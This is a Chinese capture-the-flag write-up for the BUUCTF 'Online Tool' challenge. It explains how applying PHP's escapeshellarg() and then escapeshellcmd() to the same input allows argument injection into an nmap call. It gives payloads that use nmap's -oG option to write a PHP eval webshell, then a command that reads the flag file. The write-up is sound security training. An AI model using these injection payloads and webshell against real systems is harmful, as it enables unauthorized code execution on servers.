BUUCTF:[BUUCTF 2018]Online Tool – buu刷题笔记

图片[1]-BUUCTF:[BUUCTF 2018]Online Tool – buu刷题笔记-渗透云记 - 专注于网络安全与技术分享

打开可以看见是代码审计,我们看看代码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

说明

escapeshellarg(string $arg): string

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。

escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8)

escapeshellcmd — shell 元字符转义

说明

escapeshellcmd(string $command): string

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

利用escapeshellarg()+escapeshellcmd()的两次转义,导致闭合单引号后即可执行任意参数,然后利用Nmap的-oG参数写入shell

?host='<?php phpinfo();?> -oG 1.php '
?host='<?php eval($_POST["cmd"]);?> -oG shell.php '

然后可以使用蚁剑链接,也可以直接使用hackerbar传入post参数获取flag

这里写一下post参数,需要加上随机生成的文件地址

you are in sandbox bfdd2bcef2d3227e6488d853d524a31dStarting Nmap 7.70 ( http://nmap.org ) at 2022-06-02 09:39 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 0.50 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 0.50 seconds

例如这个标红的就是随机生成的一个地址

因此,最后生成的地址为

http://e95404bc-ff0c-46cc-8ca8-2455bcdc5f2f.node4.buuoj.cn:81/bfdd2bcef2d3227e6488d853d524a31d/shell.php
cmd=phpinfo();  #测试shell成功上传没有
cmd=system("cat /flag"); #获取flag

最终获取flag为flag{fd809798-1d4d-4eeb-ba94-c04fabd435fe}

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容